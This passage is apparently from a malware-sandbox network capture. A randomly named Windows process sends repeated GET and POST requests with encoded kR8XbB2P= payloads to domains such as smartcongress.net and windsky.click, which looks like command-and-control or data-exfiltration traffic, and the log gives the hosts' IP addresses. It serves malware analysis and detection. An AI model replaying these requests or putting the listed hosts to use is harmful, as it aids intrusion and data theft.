5a 76 74 54 53 75 5a 5a 64 6c 4d 2f 4b 32 4e 35 38 31 46 59 38 54 53 65 57 37 32 77 7a 6a 2f 4a 6a 74 62 35 59 43 44 69 50 45 7a 69 4c 51 42 46 4d 71 42 68 46 4d 76 31 4d 72 74 2f 4e 62 54 4a 5a 77 75 41 76 5a 4a 5a 65 65 68 51 53 5a 41 34 30 64 56 52 6e 6e 77 65 55 52 30 36 41 33 6f 77 62 73 48 64 46 4d 31 38 32 77 58 38 79 72 66 54 67 75 67 55 [TRUNCATED] Data Ascii: kR8XbB2P=igCPsy5rDrGSUHN1WD/kRUdjDid2tuwqTBubZoYCWvJ3kwSo9R7at9oA1uyYluwt7ZFn10cbD8rOC7zDBE3HD3m/Zv7UbL7q9/urK1XgiquVc2ZatLpTa63BGKJyytNXgg9Zj849JZKGNfMcZl+e7ceJLS6ssRM0H3RLFnrXci7Jsm2n6m11wnHtVIuFVWB2+iJWx7cGTmjlzAK0LYW4cZvtTSuZZdlM/K2N581FY8TSeW72wzj/Jjtb5YCDiPEziLQBFMqBhFMv1Mrt/NbTJZwuAvZJZeehQSZA40dVRnnweUR06A3owbsHdFM182wX8yrfTgugUSQeVvTpDhNwJnFoD8oy3QwkmNejRSBjTN424sm7vN/o4X3Q1uZ3XqdyofL8l34HPC0lcY2Of+ZbPBNbXy+jdeg1QT+J5aiEZkk/zaPZAV4NORjy5OSq2+rHRyke9AzYRiLuRNuOaA1UganQUvvgWs9J15T5/kEh8I552wGkgChPJWqVPJVLilAyJztFIzPTYpL8KtFDd/QGUsPwYR/EE5G9YW5vvO6+UE/7TXQP7nXOzc8DDwNdX+9bufSPeiit3L9brDyJBMs/+c8gSKf1+cvWNFsm+VDu+d86dVJzNFDss1AHpMDib/1uMS13eBL5mvPMfu6cKDNOPHzGVoV7Fl2PsDiA7zWEKSkF59Up+MoHN/6cfEKzgx09YxfcddwgnYgUxVX++J5a6UPiTMu+tgWCprUZhfEmm6tniWt8YQCXMpJ/OFRgxi68kGSc9nwsx81PE+LxjDYMoQjA3BCM8mwmMBdpPHZ+C2N1K/+pCawL1FbcpeIyRlVFRO+eVyEaH6LO11IbY6VTdW0bo/QRllbTgQ31HvaxYPJwweH5bwih2wzdFjIDccQ6DkzSEpUaqhijeDrVtkX5hUZld04iufwdpxtlgmHnN5yl1Lo5uPEMJ3kiQIeWUrm0CGSmVnXRr/DnX0SEChlvmWdhU+oFdH3ncUBmFkGNRd6 [TRUNCATED]
Jan 10, 2025 23:22:31.776878119 CET	5404	OUT	Data Raw: 70 73 67 46 42 61 6e 43 30 37 56 4c 34 78 62 71 4c 73 4b 33 52 55 4c 6d 2b 76 77 4a 2f 66 47 70 44 4e 72 43 77 39 5a 56 43 54 4b 4f 42 61 57 32 4d 4b 73 45 4d 67 7a 74 31 35 62 46 43 2b 52 59 42 36 63 4e 34 4d 65 7a 79 76 35 78 38 41 44 50 6c 74 Data Ascii: psgFBanC07VL4xbqLsK3RULm+vwJ/fGpDNrCw9ZVCTKOBaW2MKsEMgzt15bFC+RYB6cN4Mezyv5x8ADPltXgR4jI3QtpPtPvLaJ+iM3JR/POd/kaib2ZUjWRKggHu2gz/0soxzKTKs6m+wBwHj/ZpODnbEW1syuxX7R/s8fA21gfu9nGg0rbxsmE1JIKd1e/WHtHgp9NnXQiJ2jafhlwzgCTwvxix2ZJq2JBDNpOTFqJgrceRkS
Jan 10, 2025 23:22:32.159660101 CET	774	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Content-Encoding: gzip Data Raw: 31 30 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 6d 51 31 52 c3 30 10 ec 79 c5 a1 1a 3b b8 a3 88 d2 10 e8 18 52 84 82 f2 22 2f f6 4d 64 99 f1 1d f1 e4 f7 28 09 99 24 1e d4 ed 4a bb da bd 23 3a 9d f9 fd f2 fd 79 fd b9 7a a1 d6 ba b8 b8 a3 33 7f 80 14 39 35 de 21 b9 eb 0b 70 7d 81 47 aa 83 31 85 96 07 85 79 f7 b1 7e 2d 9e dc 7f 4f 12 77 f0 6e 27 18 bf fb c1 1c 85 3e 19 52 96 8c 52 5b eb 6b ec 24 a0 38 82 07 92 24 26 1c 0b 0d 1c e1 ab f2 71 6a 19 25 6d 69 40 f4 4e 6d 1f a1 2d 90 3d db 01 5f 67 a6 0c aa 53 95 89 45 2c de 58 8c 53 00 75 50 e5 06 f3 d9 89 bf d4 9c dd f6 9c 6f fa 7a 3f b1 aa 65 47 21 b2 aa 77 1d cb a1 ca c1 b2 f8 b3 9c 7c 7c 9a 5d b5 58 b7 a0 11 1b 15 03 89 d2 4f aa 31 34 bd a4 86 ae 3c 4a 5a 45 b0 22 4f a8 03 6d 38 6c f3 2a 0c 43 99 63 55 93 14 b3 1c e3 3a f7 6d d0 2c b8 d9 eb 2f b4 74 8c 33 f8 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 10dmQ1R0y;R"/Md($J#:yz395!p}G1y~-Own'>RR[k$8$&qj%mi@Nm-=_gSE,XSuPoz?eG!w\|\|]XO14<JZE"Om8l*CcU:m,/t30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.11.20	49792	46.253.5.221	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:34.578026056 CET	542	OUT	GET /3jkd/?oRQ0=OV24X0&kR8XbB2P=viqvvCAhbaK/XzQZUz/lY2liCTl6q/4oZG6aYolEdOIRljqehA+X2d4A19u6o+Q4sdEI/GJ3MO62J6fzB1X/Ewa0fcqnV5vszuHoPlnDmrWLQllTqa4ER4w= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.windsky.click Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:22:34.954744101 CET	985	IN	HTTP/1.1 200 OK Server: openresty Date: Fri, 10 Jan 2025 22:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Language: en X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Referrer-Policy: origin-when-cross-origin X-XSS-Protection: 1; mode=block Expect-CT: enforce; max-age=3600 Referrer-Policy: no-referrer-when-downgrade Strict-Transport-Security: max-age=63072000 Data Raw: 31 66 38 0d 0a 20 20 20 20 20 20 20 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 73 2e 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 69 74 61 6e 63 65 20 6d 65 73 73 61 67 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 [TRUNCATED] Data Ascii: 1f8 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="styles.css"> <title>Maitance message</title> </head> <body> <div class="maintenance-message"> <h1>The website is undergoing maintenance. Please come back later.</h1> </div> </body> </html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.11.20	49793	146.88.233.115	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:40.444161892 CET	825	OUT	POST /d0ie/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.smartcongress.net Origin: http://www.smartcongress.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.smartcongress.net/d0ie/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 43 72 70 71 55 42 75 33 74 38 53 54 63 44 53 43 68 69 6d 36 51 7a 56 4c 46 5a 45 46 61 30 4c 67 41 51 6b 38 34 75 49 70 73 42 4d 4c 70 65 36 7a 45 70 43 74 64 76 7a 6b 75 52 75 33 66 61 77 73 44 68 34 33 6a 70 47 4f 45 6f 37 46 51 36 44 45 45 43 68 67 6a 41 44 43 69 4a 51 42 6b 36 72 4e 68 4b 4f 59 4d 53 79 55 36 4e 71 6d 41 36 78 4c 66 31 35 4c 4f 37 61 67 48 53 44 4d 62 38 39 4a 54 34 62 46 41 71 42 57 4b 41 77 4b 42 44 52 4e 42 4b 31 70 73 66 6a 66 7a 6b 77 4f 54 59 53 69 66 71 54 78 5a 53 50 58 68 47 68 37 4f 51 39 56 57 36 6b 31 70 64 4d 77 76 38 6d 62 57 6c 62 58 68 67 3d 3d Data Ascii: kR8XbB2P=CrpqUBu3t8STcDSChim6QzVLFZEFa0LgAQk84uIpsBMLpe6zEpCtdvzkuRu3fawsDh43jpGOEo7FQ6DEEChgjADCiJQBk6rNhKOYMSyU6NqmA6xLf15LO7agHSDMb89JT4bFAqBWKAwKBDRNBK1psfjfzkwOTYSifqTxZSPXhGh7OQ9VW6k1pdMwv8mbWlbXhg==
Jan 10, 2025 23:22:40.910614967 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:22:40 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.11.20	49794	146.88.233.115	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:43.195024967 CET	845	OUT	POST /d0ie/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.smartcongress.net Origin: http://www.smartcongress.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 225 Cache-Control: max-age=0 Referer: http://www.smartcongress.net/d0ie/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 43 72 70 71 55 42 75 33 74 38 53 54 64 6a 69 43 6e 46 61 36 58 54 56 49 4a 35 45 46 44 6b 4c 6b 41 51 59 38 34 76 64 6b 73 53 6f 4c 71 36 71 7a 46 73 32 74 63 76 7a 6b 6c 78 76 63 43 71 77 79 44 68 39 64 6a 6f 36 4f 45 6f 2f 46 51 37 7a 45 45 31 4d 53 69 51 44 41 70 70 51 44 71 61 72 4e 68 4b 4f 59 4d 53 6e 4a 36 4d 4f 6d 41 4c 42 4c 64 51 46 49 4e 37 61 6a 4f 79 44 4d 52 63 38 41 54 34 61 67 41 76 70 6f 4b 44 45 4b 42 48 56 4e 42 34 52 71 6d 66 6a 5a 33 6b 78 2b 66 35 4c 79 63 4c 76 72 61 67 37 71 72 7a 35 2f 4c 47 77 50 4c 49 51 52 71 4f 51 43 72 4d 66 7a 55 6e 61 4d 38 6c 62 6e 31 36 6a 35 30 5a 45 71 50 44 2f 39 4d 73 73 44 66 44 67 3d Data Ascii: kR8XbB2P=CrpqUBu3t8STdjiCnFa6XTVIJ5EFDkLkAQY84vdksSoLq6qzFs2tcvzklxvcCqwyDh9djo6OEo/FQ7zEE1MSiQDAppQDqarNhKOYMSnJ6MOmALBLdQFIN7ajOyDMRc8AT4agAvpoKDEKBHVNB4RqmfjZ3kx+f5LycLvrag7qrz5/LGwPLIQRqOQCrMfzUnaM8lbn16j50ZEqPD/9MssDfDg=
Jan 10, 2025 23:22:43.422174931 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:22:43 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49795	146.88.233.115	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:45.965219975 CET	2578	OUT	POST /d0ie/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.smartcongress.net Origin: http://www.smartcongress.net Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 7373 Cache-Control: max-age=0 Referer: http://www.smartcongress.net/d0ie/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 43 72 70 71 55 42 75 33 74 38 53 54 64 6a 69 43 6e 46 61 36 58 54 56 49 4a 35 45 46 44 6b 4c 6b 41 51 59 38 34 76 64 6b 73 53 67 4c 70 49 69 7a 46 4c 61 74 66 76 7a 6b 73 52 76 66 43 71 78 75 44 68 46 47 6a 6f 32 65 45 75 6a 46 57 64 6e 45 47 41 34 53 72 51 44 41 6d 4a 51 43 6b 36 72 59 68 4b 65 63 4d 53 33 4a 36 4d 4f 6d 41 4a 5a 4c 5a 46 35 49 4c 37 61 67 48 53 44 51 62 38 38 6f 54 34 53 61 41 76 6c 34 4a 31 30 4b 43 6e 46 4e 53 36 4a 71 67 50 6a 68 77 6b 78 6d 66 35 32 6f 63 4c 7a 77 61 6a 6d 50 72 30 6c 2f 48 41 77 58 58 4b 34 5a 30 2b 59 65 6a 74 4c 72 56 52 47 59 35 6d 6a 4a 6c 62 76 78 30 70 4a 34 51 56 2b 7a 65 70 6f 43 47 30 36 70 37 31 2b 4b 2f 43 79 2f 54 46 75 31 66 6d 34 64 6c 7a 65 2f 52 4e 59 55 39 75 44 64 66 45 2f 74 70 2f 78 71 57 4b 55 53 76 49 39 33 6f 57 6b 69 74 2f 65 45 49 62 51 51 4c 43 71 6f 66 54 44 5a 6f 61 34 4a 37 4a 4a 61 78 77 6c 45 6c 77 51 57 76 51 46 79 39 70 4b 66 63 56 4e 44 44 38 42 67 39 4a 54 54 39 61 55 48 59 43 67 6c 6d 55 51 41 44 [TRUNCATED] Data Ascii: kR8XbB2P=CrpqUBu3t8STdjiCnFa6XTVIJ5EFDkLkAQY84vdksSgLpIizFLatfvzksRvfCqxuDhFGjo2eEujFWdnEGA4SrQDAmJQCk6rYhKecMS3J6MOmAJZLZF5IL7agHSDQb88oT4SaAvl4J10KCnFNS6JqgPjhwkxmf52ocLzwajmPr0l/HAwXXK4Z0+YejtLrVRGY5mjJlbvx0pJ4QV+zepoCG06p71+K/Cy/TFu1fm4dlze/RNYU9uDdfE/tp/xqWKUSvI93oWkit/eEIbQQLCqofTDZoa4J7JJaxwlElwQWvQFy9pKfcVNDD8Bg9JTT9aUHYCglmUQADyhesK/w6Lq0w+FQRhmjVyfMYG+bcq2WVJmuN7xnSYzcSmNGmlz1uYUo8mJB02UedvjpCV6sKnfbUu+UsMh9LzaBBEEthA6uzhExAssDs1IOrq/VkaZDDPWRYFbnDQ3ObdbrAAx9Ggm5nOq/cHVpLdUfpNNBcTo9lCjfoNrDbKpldPNEnPdoEGbPOCGqWw0OO8RXawLmCgY/75oU/yK4uqyxUQ/2rx/u1A1Jbp6bIQu8dHlIxKGWFACFHCb9MvVSKTUHYPaBKxjD7R2cP0FfLeKhXSbipFdCnSeHBtgVDdHza9Io814eSdFqMaH5ixoMWUIb8yl3nA1RVHfigMYIz3Y8fU28eFZA+AKa1ZkNwoS4oRAutPp7AYOJOd7kifcO4S1sd+WcK8ARcOluECObM4cNc93+lvSyxpJJTdpCklY6MSMnQ78TgUpRkK8sBR/1fuDLNm+FVpAM+dT+ClKbhi0wrllfUSpcGxHv48mZtd9GWnrzeyNwOPSIkxmj/H21HsGp6nZKQiE4muQGW+VFVo8rtJjcP2MquQRNIz9suWgUUS3ILnJ5gPJATS4/WmfPWMWeheyXZFjjsxlR4N22bm/t+QSuToUOhLZNqX3iPHL8OM4KHGpBh2UsVBkYcT85HVYhdSWxqZicKpwocIDFJA/9CUu/va64wiY [TRUNCATED]
Jan 10, 2025 23:22:45.965285063 CET	5416	OUT	Data Raw: 54 63 64 55 53 50 54 47 6f 6f 4e 51 38 38 49 65 35 67 5a 61 46 67 73 36 32 68 70 79 71 30 4c 2f 67 68 57 77 45 70 55 6e 4c 2f 42 78 65 5a 76 74 50 7a 50 48 44 46 65 48 43 4e 32 58 50 56 6f 70 6f 6f 4a 4d 42 2b 31 7a 32 62 6f 6d 4c 6b 75 58 46 54 Data Ascii: TcdUSPTGooNQ88Ie5gZaFgs62hpyq0L/ghWwEpUnL/BxeZvtPzPHDFeHCN2XPVopooJMB+1z2bomLkuXFTGsrWLyqwRNUOF+ZFaIWS0LYyOzHt7zrqxCqPOAnlOjGaxuYyCGLr3hCu5PIJtWdBX+5c1LVc7x2kBnrxPyq2khaiOvjv2r90axIp/6xIPTMfYsWquUk1qnGKxihKi+7YoYu/ONhEoknVOncev3zvkcWQ9g8PWr4k5
Jan 10, 2025 23:22:46.237535000 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:22:46 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49796	146.88.233.115	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:22:48.721133947 CET	546	OUT	GET /d0ie/?kR8XbB2P=PpBKX3j27/q2RET7vQCRcB12LbcAd2XcLUxm8s0q4RgJtpH2c7muacbg9DKvGIpjEVtHl43RcrDWdq7OAyJmqhK4ooMesKrpt7PRBDGK2bCSIZc4egA7CPo=&oRQ0=OV24X0 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.smartcongress.net Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Jan 10, 2025 23:22:48.948627949 CET	380	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=iso-8859-1 content-length: 196 date: Fri, 10 Jan 2025 22:22:48 GMT server: LiteSpeed x-tuned-by: N0C connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49798	63.250.43.134	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:24:38.232712984 CET	840	OUT	POST /ior4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.oneeyetrousersnake.xyz Origin: http://www.oneeyetrousersnake.xyz Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 205 Cache-Control: max-age=0 Referer: http://www.oneeyetrousersnake.xyz/ior4/ User-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36 Data Raw: 6b 52 38 58 62 42 32 50 3d 6e 50 66 55 6d 73 43 76 46 56 5a 72 39 6a 41 48 41 7a 76 36 69 45 58 54 70 35 72 35 75 54 4a 4a 4c 74 61 77 2f 45 6e 57 52 61 58 63 58 66 79 4a 39 52 4c 72 46 65 61 5a 75 35 6b 4e 56 78 68 47 66 33 7a 71 76 77 4d 34 79 4c 68 53 51 45 34 56 6c 39 30 49 58 47 47 69 6c 6a 6c 55 34 70 74 48 7a 4e 67 37 6b 41 6b 68 79 6f 36 46 4f 51 77 61 32 2b 6b 33 33 2f 62 58 4d 51 50 4d 74 76 68 66 2f 46 32 4d 44 79 4a 4b 64 66 4e 49 4d 57 66 2b 63 6c 6a 47 7a 52 7a 5a 71 30 73 31 4a 6c 4d 70 31 79 44 34 57 48 30 77 38 75 57 53 4e 7a 6d 72 36 33 2f 6e 5a 52 5a 73 45 73 69 63 62 73 61 2f 6e 67 3d 3d Data Ascii: kR8XbB2P=nPfUmsCvFVZr9jAHAzv6iEXTp5r5uTJJLtaw/EnWRaXcXfyJ9RLrFeaZu5kNVxhGf3zqvwM4yLhSQE4Vl90IXGGiljlU4ptHzNg7kAkhyo6FOQwa2+k33/bXMQPMtvhf/F2MDyJKdfNIMWf+cljGzRzZq0s1JlMp1yD4WH0w8uWSNzmr63/nZRZsEsicbsa/ng==
Jan 10, 2025 23:24:38.406724930 CET	1289	IN	HTTP/1.1 404 Not Found content-type: text/html date: Fri, 10 Jan 2025 22:24:38 GMT transfer-encoding: chunked connection: close Data Raw: 32 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 